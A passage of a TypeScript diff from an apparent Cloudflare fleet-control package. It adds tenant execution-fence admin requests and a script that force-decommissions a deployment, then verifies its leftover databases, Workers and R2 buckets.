+    transitionRevision: counter(value.transitionRevision),
+  };
+}
+
+function transition(
+  status: number,
+  value: Record<string, unknown>,
+): FenceTransitionResult {
+  if (status === 200) return { ok: true, after: reading(value) };
+  const reason = object(value.reason);
+  if (
+    reason.code !== 'FENCE_CAS_CONFLICT' ||
+    (reason.conflict !== undefined &&
+      reason.conflict !== 'expectation-mismatch' &&
+      reason.conflict !== 'versioned-expectation-required')
+  )
+    throw new DirectReferenceExecutionError();
+  return {
+    ok: false,
+    reason: {
+      code: 'FENCE_CAS_CONFLICT',
+      state: state(reason.state),
+      ...(reason.mutationEpoch === undefined
+        ? {}
+        : { mutationEpoch: counter(reason.mutationEpoch) }),
+      ...(reason.requireMutationEpoch === undefined
+        ? {}
+        : { requireMutationEpoch: flag(reason.requireMutationEpoch) }),
+      ...(reason.transitionRevision === undefined
+        ? {}
+        : { transitionRevision: counter(reason.transitionRevision) }),
+      ...(reason.conflict === undefined ? {} : { conflict: reason.conflict }),
+    },
+  };
+}
+
+export async function dispatchDirectFence(
+  context: DirectReferenceContext,
+  manifest: DirectRunManifest,
+  action: Extract<DirectReferenceAction, { kind: 'tenant-fence' }>,
+  invocationSignal: AbortSignal,
+): Promise<unknown> {
+  const record = await context.control.getDeployment(
+    manifest.names.roles[action.role].tenantTag,
+    manifest.environment,
+  );
+  if (!record || context.roleFor(record) !== action.role)
+    throw new DirectReferenceExecutionError();
+  const spec = context.specFor(record);
+  if (!spec.routeHostname) throw new DirectReferenceExecutionError();
+  const { operation } = action;
+  const application =
+    operation === 'mutate-current' || isProbeOperation(operation);
+  const secrets = context.secrets(action.role);
+  const supplied = application
+    ? secrets.application?.APP_PROBE_TOKEN
+    : secrets.maintenanceAdmin;
+  if (typeof supplied !== 'string' || !supplied)
+    throw new DirectReferenceExecutionError();
+  const token: string = supplied;
+
+  async function request(path: string, body?: unknown) {
+    const { status, text: encoded } = await readBoundedDirectResponse({
+      fetch: application
+        ? context.transport.applicationFetch
+        : context.transport.maintenanceFetch,
+      url: new URL(path, `https://${spec.routeHostname}`),
+      method: body === undefined ? 'GET' : 'POST',
+      token,
+      body,
+      acceptStatuses:
+        operation === 'drain' || operation === 'reopen' ? [200, 409] : [200],
+      mediaType: 'application/json',
+      byteLimit: operation === 'inventory' ? 65536 : 4096,
+      invocationSignal,
+      requestTimeoutMs: context.transport.effectiveRequestTimeoutMs,
+    });
+    return { status, value: decodeDirectJsonObject(encoded) };
+  }
+
+  if (operation === 'read')
+    return reading((await request('/admin/execution-fence')).value);
+  if (operation === 'drain' || operation === 'reopen') {
+    const { expectedMutationEpoch, expectedRevision } = action;
+    const result = await request(
+      '/admin/execution-fence',
+      operation === 'drain'
+        ? {
+            expected: 'open',
+            next: 'draining',
+            expectedMutationEpoch,
+            expectedRevision,
+            advanceMutationEpoch: true,
+          }
+        : {
+            expected: 'draining',
+            next: 'open',
+            expectedMutationEpoch,
+            expectedRevision,
+          },
+    );
+    return transition(result.status, result.value);
+  }
+  if (operation === 'inventory') {
+    const fence = reading((await request('/admin/execution-fence')).value);
+    const index = (await request('/admin/inventory')).value;
+    if (!Array.isArray(index.categories))
+      throw new DirectReferenceExecutionError();
+    const categories: DirectFenceSweep['categories'] = [];
+    for (const entry of index.categories) {
+      const descriptor = object(entry);
+      const category = text(descriptor.category);
+      const categoryClass = text(descriptor.class);
+      const page = (
+        await request(
+          `/admin/inventory?category=${encodeURIComponent(category)}`,
+        )
+      ).value;
+      if (!Array.isArray(page.entries))
+        throw new DirectReferenceExecutionError();
+      if (page.cursor !== undefined) text(page.cursor);
+      categories.push({
+        category,
+        class: categoryClass,
+        empty: page.entries.length === 0 && page.cursor === undefined,
+      });
+    }
+    return { fence, categories, observedAt: Date.now() };
+  }
+  if (operation === 'mutate-current') {
+    const { value } = await request(DIRECT_TENANT_ROUTES.fenceMutate, {
+      phase: 'both',
+    });
+    return {
+      accepted: flag(value.accepted),
+      ...(value.code === undefined ? {} : { code: text(value.code) }),
+      ...(value.classification === undefined
+        ? {}
+        : { classification: text(value.classification) }),
+      ...(value.status === undefined ? {} : { status: counter(value.status) }),
+    };
+  }
+  if (!isProbeOperation(operation)) throw new DirectReferenceExecutionError();
+  const epoch = PROBE_EPOCHS[operation];
+  const { value } = await request(DIRECT_TENANT_ROUTES.fenceProbe, { epoch });
+  const classification = text(value.classification);
+  if (
+    value.epoch !== epoch ||
+    ![
+      'accepted',
+      'missing',
+      'stale',
+      'future',
+      'fenced',
+      'unexpected',
+    ].includes(classification)
+  )
+    throw new DirectReferenceExecutionError();
+  return {
+    epoch,
+    classification,
+    ...(value.status === undefined ? {} : { status: counter(value.status) }),
+  };
+}
diff --git a/packages/fleet-control/scripts/direct-reference-force.ts b/packages/fleet-control/scripts/direct-reference-force.ts
new file mode 100644
index 00000000..913fd9f2
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-reference-force.ts
@@ -0,0 +1,950 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import {
+  type ApplicationR2Binding,
+  type CleanupTerminalReceipt,
+  type DatabaseReference,
+  type ExternalMutationFence,
+  type ExternalReleaseSnapshot,
+  type FleetRecord,
+  type FleetStateLease,
+  forceDecommissionDeployment,
+  type R2Jurisdiction,
+} from '@proofoftech/fleet-control';
+import { deploymentSpecDigest } from '@proofoftech/fleet-control/cloudflare-control-plane';
+import type { DirectRunManifest } from './direct-credentialed-conformance-preflight.mjs';
+import type { DirectReferenceContext } from './direct-reference-context.js';
+import { DirectReferenceExecutionError } from './direct-reference-http.js';
+import { DirectReferenceJournalError } from './direct-reference-journal.js';
+import {
+  readFrozenLifecycleSpec,
+  readHistoricalRecoveryReceipt,
+} from './direct-reference-lifecycle.js';
+import {
+  type DirectResourceIdentity,
+  directResourceObservation,
+  recordDirectResource,
+} from './direct-reference-observations.js';
+import { directCleanupReceiptDigest } from './direct-reference-receipt.mjs';
+
+function object(value: unknown): Record<string, unknown> {
+  if (!value || typeof value !== 'object' || Array.isArray(value))
+    throw new DirectReferenceJournalError();
+  return value as Record<string, unknown>;
+}
+
+function digest(value: unknown): string {
+  if (typeof value !== 'string' || !/^[a-f0-9]{64}$/u.test(value))
+    throw new DirectReferenceJournalError();
+  return value;
+}
+
+function text(value: unknown): string {
+  if (typeof value !== 'string' || !value || value !== value.trim())
+    throw new DirectReferenceJournalError();
+  return value;
+}
+
+function array(value: unknown): unknown[] {
+  if (!Array.isArray(value)) throw new DirectReferenceJournalError();
+  return value;
+}
+
+function boolean(value: unknown): boolean {
+  if (typeof value !== 'boolean') throw new DirectReferenceJournalError();
+  return value;
+}
+
+function date(value: unknown): string {
+  const result = text(value);
+  if (
+    !Number.isFinite(Date.parse(result)) ||
+    new Date(result).toISOString() !== result
+  )
+    throw new DirectReferenceJournalError();
+  return result;
+}
+
+function strings(value: unknown): string[] {
+  return [...new Set(array(value).map(text))].sort();
+}
+
+function compare(left: string, right: string): number {
+  return left < right ? -1 : left > right ? 1 : 0;
+}
+
+function forceResource(context: DirectReferenceContext, encoded: string) {
+  const value = object(JSON.parse(encoded));
+  const database = object(value.database);
+  const spec = context.spec('recovery', 'initial');
+  const identity = {
+    version: 1,
+    role: 'recovery',
+    backend: 'plain-worker',
+    tenantTag: spec.tenantTag,
+    environment: spec.environment,
+    scriptName: spec.scriptName,
+    database: { name: spec.databaseName, id: text(database.id) },
+    knownVersionIds: strings(value.knownVersionIds),
+    localNamespaces: array(value.localNamespaces)
+      .map((entry) => {
+        const binding = object(entry);
+        return {
+          name: text(binding.name),
+          className: text(binding.className),
+          namespaceId: text(binding.namespaceId),
+        };
+      })
+      .sort((left, right) => compare(left.name, right.name)),
+    applicationBuckets: array(value.applicationBuckets)
+      .map((entry) => {
+        const bucket = object(entry);
+        const jurisdiction = bucket.jurisdiction;
+        if (
+          jurisdiction !== 'default' &&
+          jurisdiction !== 'eu' &&
+          jurisdiction !== 'fedramp'
+        )
+          throw new DirectReferenceJournalError();
+        return {
+          name: text(bucket.name),
+          bucketName: text(bucket.bucketName),
+          jurisdiction,
+          reservationNonce: text(bucket.reservationNonce),
+          creationDate: date(bucket.creationDate),
+        } satisfies DirectResourceIdentity['applicationBuckets'][number];
+      })
+      .sort((left, right) => compare(left.name, right.name)),
+  } satisfies DirectResourceIdentity;
+  if (
+    JSON.stringify(identity) !== encoded ||
+    identity.database.id.startsWith('reserved-') ||
+    identity.knownVersionIds.length === 0 ||
+    identity.knownVersionIds.includes('pending') ||
+    new Set(identity.localNamespaces.map((binding) => binding.namespaceId))
+      .size !== identity.localNamespaces.length ||
+    new Set(identity.applicationBuckets.map((bucket) => bucket.bucketName))
+      .size !== identity.applicationBuckets.length ||
+    JSON.stringify(
+      identity.localNamespaces.map(({ name, className }) => ({
+        name,
+        className,
+      })),
+    ) !==
+      JSON.stringify(
+        spec.durableObjectBindings
+          .map(({ name, className }) => ({ name, className }))
+          .sort((left, right) => compare(left.name, right.name)),
+      ) ||
+    JSON.stringify(
+      identity.applicationBuckets.map(({ name, jurisdiction }) => ({
+        name,
+        jurisdiction,
+      })),
+    ) !==
+      JSON.stringify(
+        (spec.application?.r2Buckets ?? [])
+          .map(({ name, jurisdiction }) => ({
+            name,
+            jurisdiction: jurisdiction ?? 'default',
+          }))
+          .sort((left, right) => compare(left.name, right.name)),
+      )
+  )
+    throw new DirectReferenceJournalError();
+  return identity;
+}
+
+function fulfilled<T>(result: PromiseSettledResult<T>): T {
+  if (result.status === 'rejected') throw result.reason;
+  return result.value;
+}
+
+function receiptDigest(receipt: CleanupTerminalReceipt): string {
+  if (!Number.isSafeInteger(receipt.completedAtMs))
+    throw new DirectReferenceJournalError();
+  return directCleanupReceiptDigest(receipt);
+}
+
+async function beforeIdentity(
+  context: DirectReferenceContext,
+  beforeIdentitySha256: string,
+  receiptSha256: string,
+) {
+  const stored = await context.journal.readOperation('cleanup-recovery');
+  if (!stored?.operationId)
+    throw new DirectReferenceJournalError('prerequisite-unavailable');
+  const spec = readFrozenLifecycleSpec(context, stored, 'recovery');
+  if (spec !== context.spec('recovery', 'failed-recovery'))
+    throw new DirectReferenceJournalError();
+  return {
+    version: 1 as const,
+    role: 'recovery' as const,
+    beforeIdentitySha256,
+    priorCleanup: {
+      slot: 'cleanup-recovery' as const,
+      operationId: stored.operationId,
+      requestedSpecDigest: deploymentSpecDigest(spec),
+      receiptSha256,
+    },
+  };
+}
+
+async function readBefore(context: DirectReferenceContext) {
+  const stored = await context.journal.readForceBefore();
+  if (!stored) return undefined;
+  const value = object(JSON.parse(stored.identityJson));
+  const prior = object(value.priorCleanup);
+  const identity = await beforeIdentity(
+    context,
+    digest(value.beforeIdentitySha256),
+    digest(prior.receiptSha256),
+  );
+  if (stored.identityJson !== JSON.stringify(identity))
+    throw new DirectReferenceJournalError();
+  const resource = await context.journal.readResource(
+    'recovery',
+    identity.beforeIdentitySha256,
+  );
+  if (!resource) throw new DirectReferenceJournalError();
+  return { identity, resource };
+}
+
+type ForcePlane = ReturnType<DirectReferenceContext['createForcePlane']>;
+
+/**
+ * Refuses a lease on any deployment but `tenantTag`/`environment`, and hands
+ * `capture` the record read under the held lease before the caller's own
+ * operation runs.
+ */
+function interceptDeploymentLease(
+  plane: ForcePlane,
+  tenantTag: string,
+  environment: string,
+  capture: (
+    record: FleetRecord | undefined,
+    lease: FleetStateLease,
+  ) => Promise<void>,
+): void {
+  const underLease = plane.store.withDeploymentLease.bind(plane.store);
+  plane.store.withDeploymentLease = (
+    leasedTag,
+    leasedEnvironment,
+    operation,
+  ) => {
+    if (leasedTag !== tenantTag || leasedEnvironment !== environment)
+      throw new DirectReferenceExecutionError();
+    return underLease(leasedTag, leasedEnvironment, async (lease) => {
+      await capture(await plane.store.get(leasedTag, leasedEnvironment), lease);
+      return operation(lease);
+    });
+  };
+}
+
+export async function forceDirectTerminal(
+  context: DirectReferenceContext,
+  manifest: DirectRunManifest,
+  role: 'a',
+): Promise<{
+  returned: true;
+  before: { databaseId: string; scriptName: string } | null;
+  after: { present: false };
+}> {
+  const names = manifest.names.roles[role];
+  const plane = context.createForcePlane();
+  let before: { databaseId: string; scriptName: string } | null = null;
+  interceptDeploymentLease(
+    plane,
+    names.tenantTag,
+    manifest.environment,
+    async (record) => {
+      if (!record) return;
+      if (record.phase !== 'decommissioned' || context.roleFor(record) !== role)
+        throw new DirectReferenceExecutionError();
+      before = {
+        databaseId: record.databaseId,
+        scriptName: record.scriptName,
+      };
+    },
+  );
+  await forceDecommissionDeployment({
+    backend: plane.backend,
+    store: plane.store,
+    tenantTag: names.tenantTag,
+    environment: manifest.environment,
+  });
+  if (await plane.store.get(names.tenantTag, manifest.environment))
+    throw new DirectReferenceExecutionError();
+  return { returned: true, before, after: { present: false } };
+}
+
+export async function recoverDirectForce(
+  context: DirectReferenceContext,
+  manifest: DirectRunManifest,
+) {
+  const names = manifest.names.roles.recovery;
+  const plane = context.createForcePlane();
+  let observed: Awaited<ReturnType<typeof readBefore>>;
+  const capture = async (
+    record: FleetRecord | undefined,
+    lease: FleetStateLease,
+  ) => {
+    context.transport.assertWithinBudget();
+    await lease.assertOwned();
+    observed = await readBefore(context);
+    if (!record && !observed)
+      throw new DirectReferenceJournalError('prerequisite-unavailable');
+    const history = await readHistoricalRecoveryReceipt(context);
+    const historyDigest = receiptDigest(history.receipt);
+    if (
+      observed &&
+      historyDigest !== observed.identity.priorCleanup.receiptSha256
+    )
+      throw new DirectReferenceJournalError();
+    if (record) {
+      if (
+        context.roleFor(record) !== 'recovery' ||
+        context.specFor(record) !== context.spec('recovery', 'initial') ||
+        record.cleanupIntent ||
+        record.decommissionIntent ||
+        record.pendingSpecDigest ||
+        record.pendingArtifactVersion ||
+        ![
+          'ready',
+          'decommissioning',
+          'traffic-removed',
+          'credentials-revoked',
+          'database-deleting',
+          'decommissioned',
+        ].includes(record.phase)
+      )
+        throw new DirectReferenceExecutionError();
+      if (observed) {
+        if (
+          directResourceObservation(context, record, 'before-force')
+            .identityJson !== observed.resource.identityJson
+        )
+          throw new DirectReferenceExecutionError();
+      } else {
+        const initial = await context.journal.readOperation(
+          'cleanup-recovery-initial',
+        );
+        if (
+          record.phase !== 'ready' ||
+          record.artifactVersion === 'pending' ||
+          !record.artifactVersion ||
+          record.databaseId.startsWith('reserved-') ||
+          !initial ||
+          initial.operationId !== null ||
+          initial.tokenJson !== null ||
+          readFrozenLifecycleSpec(context, initial, 'recovery') !==
+            context.spec('recovery', 'initial') ||
+          (record.applicationResources ?? []).some(
+            (resource) =>
+              resource.state !== 'created' || !resource.creationDate,
+          )
+        )
+          throw new DirectReferenceJournalError('prerequisite-unavailable');
+        const resource = await recordDirectResource(
+          context,
+          record,
+          'before-force',
+        );
+        const identity = await beforeIdentity(
+          context,
+          resource.identitySha256,
+          historyDigest,
+        );
+        await context.journal.recordForceBefore(
+          JSON.stringify(identity),
+          JSON.stringify({
+            phase: record.phase,
+            recordUpdatedAt: record.updatedAt,
+            capturedAtMs: Date.now(),
+          }),
+        );
+        observed = { identity, resource };
+      }
+    }
+    await lease.assertOwned();
+    context.transport.assertWithinBudget();
+  };
+  interceptDeploymentLease(
+    plane,
+    names.tenantTag,
+    manifest.environment,
+    capture,
+  );
+  await forceDecommissionDeployment({
+    backend: plane.backend,
+    store: plane.store,
+    tenantTag: names.tenantTag,
+    environment: manifest.environment,
+  });
+  if (!observed) throw new DirectReferenceJournalError();
+  return {
+    returned: true,
+    beforeIdentitySha256: observed.identity.beforeIdentitySha256,
+  };
+}
+
+type ForceBefore = NonNullable<Awaited<ReturnType<typeof readBefore>>>;
+type ForceResource = ReturnType<typeof forceResource>;
+
+interface DirectForceFootprint {
+  readonly version: 1;
+  readonly role: 'recovery';
+  readonly beforeIdentitySha256: string;
+  readonly fleetRecordPresent: boolean;
+  readonly deploymentClaimsPresent: boolean;
+  readonly database: Readonly<{
+    id: string;
+    expectedName: string;
+    observedName: string | null;
+  }>;
+  readonly worker: Readonly<{
+    scriptName: string;
+    scriptPresent: boolean;
+    workersDevEnabled: boolean | null;
+    previewUrlsEnabled: boolean | null;
+    customDomains: readonly Readonly<{
+      id: string;
+      hostname: string;
+      service: string;
+    }>[];
+    zoneRoutes: readonly Readonly<{
+      zoneId: string;
+      routeId: string;
+      pattern: string;
+    }>[];
+    currentSecretNames: readonly string[];
+    currentVersionIds: readonly string[] | null;
+    currentNamespaceIds: readonly string[];
+    survivingRecordedNamespaceIds: readonly string[];
+  }>;
+  readonly buckets: readonly Readonly<{
+    bindingName: string;
+    bucketName: string;
+    jurisdiction: R2Jurisdiction;
+    expectedCreationDate: string;
+    observedCreationDate: string | null;
+  }>[];
+  readonly priorCleanup: Readonly<{
+    operationId: string;
+    observedReceiptSha256: string | null;
+    matchesBefore: boolean;
+  }>;
+}
+
+type DirectForceReading = Readonly<{
+  observation: DirectForceFootprint;
+  provenance: Readonly<{ startedAtMs: number; completedAtMs: number }>;
+}>;
+
+function decodeForceFootprint(
+  encoded: string,
+  before: ForceBefore,
+  resource: ForceResource,
+): DirectForceFootprint {
+  const value = object(JSON.parse(encoded));
+  const database = object(value.database);
+  const worker = object(value.worker);
+  const buckets = array(value.buckets);
+  const priorCleanup = object(value.priorCleanup);
+  const observation: DirectForceFootprint = {
+    version: 1,
+    role: 'recovery',
+    beforeIdentitySha256: before.identity.beforeIdentitySha256,
+    fleetRecordPresent: boolean(value.fleetRecordPresent),
+    deploymentClaimsPresent: boolean(value.deploymentClaimsPresent),
+    database: {
+      id: resource.database.id,
+      expectedName: resource.database.name,
+      observedName:
+        database.observedName === null ? null : text(database.observedName),
+    },
+    worker: {
+      scriptName: resource.scriptName,
+      scriptPresent: boolean(worker.scriptPresent),
+      workersDevEnabled:
+        worker.workersDevEnabled === null
+          ? null
+          : boolean(worker.workersDevEnabled),
+      previewUrlsEnabled:
+        worker.previewUrlsEnabled === null
+          ? null
+          : boolean(worker.previewUrlsEnabled),
+      customDomains: array(worker.customDomains)
+        .map((entry) => {
+          const domain = object(entry);
+          return {
+            id: text(domain.id),
+            hostname: text(domain.hostname),
+            service: text(domain.service),
+          };
+        })
+        .sort((left, right) => left.id.localeCompare(right.id)),
+      zoneRoutes: array(worker.zoneRoutes)
+        .map((entry) => {
+          const route = object(entry);
+          return {
+            zoneId: text(route.zoneId),
+            routeId: text(route.routeId),
+            pattern: text(route.pattern),
+          };
+        })
+        .sort(
+          (left, right) =>
+            left.zoneId.localeCompare(right.zoneId) ||
+            left.routeId.localeCompare(right.routeId),
+        ),
+      currentSecretNames: strings(worker.currentSecretNames),
+      currentVersionIds:
+        worker.currentVersionIds === null
+          ? null
+          : strings(worker.currentVersionIds),
+      currentNamespaceIds: strings(worker.currentNamespaceIds),
+      survivingRecordedNamespaceIds: strings(
+        worker.survivingRecordedNamespaceIds,
+      ),
+    },
+    buckets: resource.applicationBuckets.map((bucket, index) => {
+      const observed = object(buckets[index]);
+      return {
+        bindingName: bucket.name,
+        bucketName: bucket.bucketName,
+        jurisdiction: bucket.jurisdiction,
+        expectedCreationDate: bucket.creationDate,
+        observedCreationDate:
+          observed.observedCreationDate === null
+            ? null
+            : date(observed.observedCreationDate),
+      };
+    }),
+    priorCleanup: {
+      operationId: before.identity.priorCleanup.operationId,
+      observedReceiptSha256:
+        priorCleanup.observedReceiptSha256 === null
+          ? null
+          : digest(priorCleanup.observedReceiptSha256),
+      matchesBefore: boolean(priorCleanup.matchesBefore),
+    },
+  };
+  if (
+    JSON.stringify(observation) !== encoded ||
+    new Set(observation.worker.customDomains.map((domain) => domain.id))
+      .size !== observation.worker.customDomains.length ||
+    new Set(
+      observation.worker.zoneRoutes.map((route) =>
+        JSON.stringify([route.zoneId, route.routeId]),
+      ),
+    ).size !== observation.worker.zoneRoutes.length ||
+    observation.worker.currentVersionIds?.includes('pending') ||
+    observation.priorCleanup.matchesBefore !==
+      (observation.priorCleanup.observedReceiptSha256 ===
+        before.identity.priorCleanup.receiptSha256)
+  )
+    throw new DirectReferenceJournalError();
+  return observation;
+}
+
+function decodeForceProvenance(
+  encoded: string,
+): DirectForceReading['provenance'] {
+  const value = object(JSON.parse(encoded));
+  const milliseconds = (input: unknown): number => {
+    if (typeof input !== 'number' || !Number.isSafeInteger(input) || input < 0)
+      throw new DirectReferenceJournalError();
+    return input;
+  };
+  const provenance = {
+    startedAtMs: milliseconds(value.startedAtMs),
+    completedAtMs: milliseconds(value.completedAtMs),
+  };
+  if (JSON.stringify(provenance) !== encoded)
+    throw new DirectReferenceJournalError();
+  return provenance;
+}
+
+async function readForceFootprint(
+  context: Pick<
+    DirectReferenceContext,
+    'transport' | 'recoveryClaimSetPresent'
+  >,
+  before: ForceBefore,
+  resource: ForceResource,
+  plane: Pick<ForcePlane, 'client' | 'store'>,
+): Promise<DirectForceReading> {
+  context.transport.assertWithinBudget();
+  const { client, store } = plane;
+  const startedAtMs = Date.now();
+  const reads = await Promise.allSettled([
+    client.getDatabase(resource.database.id),
+    client.inspectOrdinaryWorkerFootprint(resource.scriptName),
+    client.listOrdinaryWorkerSecretNames(resource.scriptName),
+    client.listOrdinaryWorkerVersions(resource.scriptName),
+    client.listDurableObjectNamespaces(resource.scriptName),
+    client.existingDurableObjectNamespaceIds(
+      resource.localNamespaces.map((binding) => binding.namespaceId),
+    ),
+    store.get(resource.tenantTag, resource.environment),
+    context.recoveryClaimSetPresent(),
+    store.readCleanupReceipt(before.identity.priorCleanup.operationId),
+    Promise.allSettled(
+      resource.applicationBuckets.map((bucket) =>
+        client.getR2Bucket(bucket.bucketName, bucket.jurisdiction),
+      ),
+    ),
+  ] as const);
+  context.transport.assertWithinBudget();
+  const database = fulfilled(reads[0]);
+  if (database && database.id !== resource.database.id)
+    throw new DirectReferenceExecutionError();
+  const footprint = fulfilled(reads[1]);
+  const secretNames = fulfilled(reads[2]);
+  const versions = fulfilled(reads[3]);
+  const namespaces = fulfilled(reads[4]);
+  const surviving = fulfilled(reads[5]);
+  const record = fulfilled(reads[6]);
+  const claims = fulfilled(reads[7]);
+  const receipt = fulfilled(reads[8]);
+  const bucketReads = fulfilled(reads[9]);
+  const observedReceiptSha256 = receipt ? receiptDigest(receipt) : null;
+  const observation: DirectForceFootprint = {
+    version: 1,
+    role: 'recovery',
+    beforeIdentitySha256: before.identity.beforeIdentitySha256,
+    fleetRecordPresent: record !== undefined,
+    deploymentClaimsPresent: claims,
+    database: {
+      id: resource.database.id,
+      expectedName: resource.database.name,
+      observedName: database ? text(database.name) : null,
+    },
+    worker: {
+      scriptName: resource.scriptName,
+      scriptPresent: footprint.scriptPresent,
+      workersDevEnabled: footprint.workersDevEnabled ?? null,
+      previewUrlsEnabled: footprint.previewUrlsEnabled ?? null,
+      customDomains: footprint.customDomains
+        .map((domain) => ({
+          id: text(domain.id),
+          hostname: text(domain.hostname),
+          service: text(domain.service),
+        }))
+        .sort((a, b) => a.id.localeCompare(b.id)),
+      zoneRoutes: footprint.zoneRoutes
+        .map((route) => ({
+          zoneId: text(route.zoneId),
+          routeId: text(route.routeId),
+          pattern: text(route.pattern),
+        }))
+        .sort(
+          (a, b) =>
+            a.zoneId.localeCompare(b.zoneId) ||
+            a.routeId.localeCompare(b.routeId),
+        ),
+      currentSecretNames: [...new Set(secretNames.map(text))].sort(),
+      currentVersionIds: versions
+        ? [
+            ...new Set(versions.map((version) => text(version.versionId))),
+          ].sort()
+        : null,
+      currentNamespaceIds: [...new Set(namespaces.map(text))].sort(),
+      survivingRecordedNamespaceIds: [...new Set(surviving.map(text))].sort(),
+    },
+    buckets: resource.applicationBuckets.map((bucket, index) => {
+      const result = bucketReads[index];
+      if (!result) throw new DirectReferenceExecutionError();
+      const observed = fulfilled(result);
+      return {
+        bindingName: bucket.name,
+        bucketName: bucket.bucketName,
+        jurisdiction: bucket.jurisdiction,
+        expectedCreationDate: bucket.creationDate,
+        observedCreationDate: observed ? date(observed.creationDate) : null,
+      };
+    }),
+    priorCleanup: {
+      operationId: before.identity.priorCleanup.operationId,
+      observedReceiptSha256,
+      matchesBefore:
+        observedReceiptSha256 === before.identity.priorCleanup.receiptSha256,
+    },
+  };
+  context.transport.assertWithinBudget();
+  return {
+    observation: decodeForceFootprint(
+      JSON.stringify(observation),
+      before,
+      resource,
+    ),
+    provenance: decodeForceProvenance(
+      JSON.stringify({ startedAtMs, completedAtMs: Date.now() }),
+    ),
+  };
+}
+
+export async function observeDirectForce(context: DirectReferenceContext) {
+  context.transport.assertWithinBudget();
+  const before = await readBefore(context);
+  if (!before)
+    throw new DirectReferenceJournalError('prerequisite-unavailable');
+  const resource = forceResource(context, before.resource.identityJson);
+  let stored = await context.journal.readForceAfter();
+  if (!stored) {
+    const reading = await readForceFootprint(
+      context,
+      before,
+      resource,
+      context.createForcePlane(),
+    );
+    stored = await context.journal.recordForceAfter(
+      JSON.stringify(reading.observation),
+      JSON.stringify(reading.provenance),
+    );
+  }
+  const result = {
+    observation: decodeForceFootprint(stored.identityJson, before, resource),
+    provenance: decodeForceProvenance(stored.provenanceJson),
+  };
+  context.transport.assertWithinBudget();
+  return result;
+}
+
+function assertForceRecoveryState(observation: DirectForceFootprint): void {
+  const { worker } = observation;
+  if (
+    observation.fleetRecordPresent ||
+    observation.deploymentClaimsPresent ||
+    observation.database.observedName !== null ||
+    !observation.priorCleanup.matchesBefore ||
+    worker.customDomains.length > 0 ||
+    worker.zoneRoutes.length > 0 ||
+    worker.currentSecretNames.length > 0 ||
+    (worker.scriptPresent
+      ? worker.workersDevEnabled !== false ||
+        worker.previewUrlsEnabled !== false
+      : worker.workersDevEnabled === true ||
+        worker.previewUrlsEnabled === true) ||
+    observation.buckets.some(
+      (bucket) =>
+        bucket.observedCreationDate !== null &&
+        bucket.observedCreationDate !== bucket.expectedCreationDate,
+    )
+  )
+    throw new DirectReferenceExecutionError();
+}
+
+function assertRetainedForceWorker(
+  observation: DirectForceFootprint,
+  resource: ForceResource,
+): void {
+  const { worker } = observation;
+  const namespaces = resource.localNamespaces
+    .map((binding) => binding.namespaceId)
+    .sort();
+  if (
+    !worker.scriptPresent ||
+    !worker.currentVersionIds?.length ||
+    !resource.knownVersionIds.some((id) =>
+      worker.currentVersionIds?.includes(id),
+    ) ||
+    JSON.stringify(worker.currentNamespaceIds) !== JSON.stringify(namespaces) ||
+    JSON.stringify(worker.survivingRecordedNamespaceIds) !==
+      JSON.stringify(namespaces) ||
+    observation.buckets.some(
+      (bucket) => bucket.observedCreationDate !== bucket.expectedCreationDate,
+    )
+  )
+    throw new DirectReferenceExecutionError();
+}
+
+function assertForceWorkerAbsent(observation: DirectForceFootprint): void {
+  const { worker } = observation;
+  if (
+    worker.scriptPresent ||
+    (worker.currentVersionIds?.length ?? 0) > 0 ||
+    worker.currentNamespaceIds.length > 0 ||
+    worker.survivingRecordedNamespaceIds.length > 0
+  )
+    throw new DirectReferenceExecutionError();
+}
+
+async function assertForceAttachments(
+  plane: Pick<ForcePlane, 'client'>,
+  resource: ForceResource,
+  allowRetainedWorker: boolean,
+): Promise<void> {
+  const reads = await Promise.allSettled([
+    plane.client.listWorkerDatabaseAttachments(resource.database.id),
+    ...resource.applicationBuckets.map((bucket) =>
+      plane.client.listWorkerR2Attachments(bucket.bucketName),
+    ),
+  ]);
+  for (const read of reads) {
+    if (
+      fulfilled(read).some(
+        (attachment) =>
+          !allowRetainedWorker ||
+          attachment.plane !== 'ordinary' ||
+          attachment.scriptName !== resource.scriptName ||
+          attachment.dispatchNamespace !== undefined,
+      )
+    )
+      throw new DirectReferenceExecutionError();
+  }
+}
+
+export async function recoverDirectForceResidual(
+  context: DirectReferenceContext,
+) {
+  context.transport.assertWithinBudget();
+  const spec = context.spec('recovery', 'initial');
+  const plane = context.createForcePlane();
+  return plane.store.withDeploymentLease(
+    spec.tenantTag,
+    spec.environment,
+    async (lease) => {
+      await lease.assertOwned();
+      const before = await readBefore(context);
+      if (!before)
+        throw new DirectReferenceJournalError('prerequisite-unavailable');
+      const resource = forceResource(context, before.resource.identityJson);
+      const buckets: ApplicationR2Binding[] = resource.applicationBuckets.map(
+        ({ name, bucketName, jurisdiction, creationDate }) => ({
+          name,
+          bucketName,
+          jurisdiction,
+          creationDate,
+        }),
+      );
+      const fence: ExternalMutationFence = {
+        mutationLeaseTtlMs: lease.mutationLeaseTtlMs,
+        async assertOwned() {
+          await lease.assertOwned();
+          context.transport.assertWithinBudget();
+          const reads = await Promise.allSettled([
+            plane.store.get(resource.tenantTag, resource.environment),
+            context.recoveryResidualClaimsPresent(
+              resource.scriptName,
+              buckets.map((bucket) => bucket.bucketName),
+            ),
+          ] as const);
+          if (fulfilled(reads[0]) || fulfilled(reads[1]))
+            throw new DirectReferenceExecutionError();
+          await lease.assertOwned();
+          context.transport.assertWithinBudget();
+        },
+      };
+      return plane.client.withMutationFence(fence, async () => {
+        await fence.assertOwned();
+        const retained = await context.journal.readForceAfter();
+        if (!retained)
+          throw new DirectReferenceJournalError('prerequisite-unavailable');
+        const initial = decodeForceFootprint(
+          retained.identityJson,
+          before,
+          resource,
+        );
+        decodeForceProvenance(retained.provenanceJson);
+        assertForceRecoveryState(initial);
+        assertRetainedForceWorker(initial, resource);
+        const current = await readForceFootprint(
+          context,
+          before,
+          resource,
+          plane,
+        );
+        assertForceRecoveryState(current.observation);
+        if (current.observation.worker.scriptPresent) {
+          assertRetainedForceWorker(current.observation, resource);
+          if (
+            JSON.stringify(current.observation.worker.currentVersionIds) !==
+            JSON.stringify(initial.worker.currentVersionIds)
+          )
+            throw new DirectReferenceExecutionError();
+        } else {
+          assertForceWorkerAbsent(current.observation);
+        }
+        await assertForceAttachments(
+          plane,
+          resource,
+          current.observation.worker.scriptPresent,
+        );
+        const emptyReads = await Promise.allSettled(
+          buckets.map((bucket, index) =>
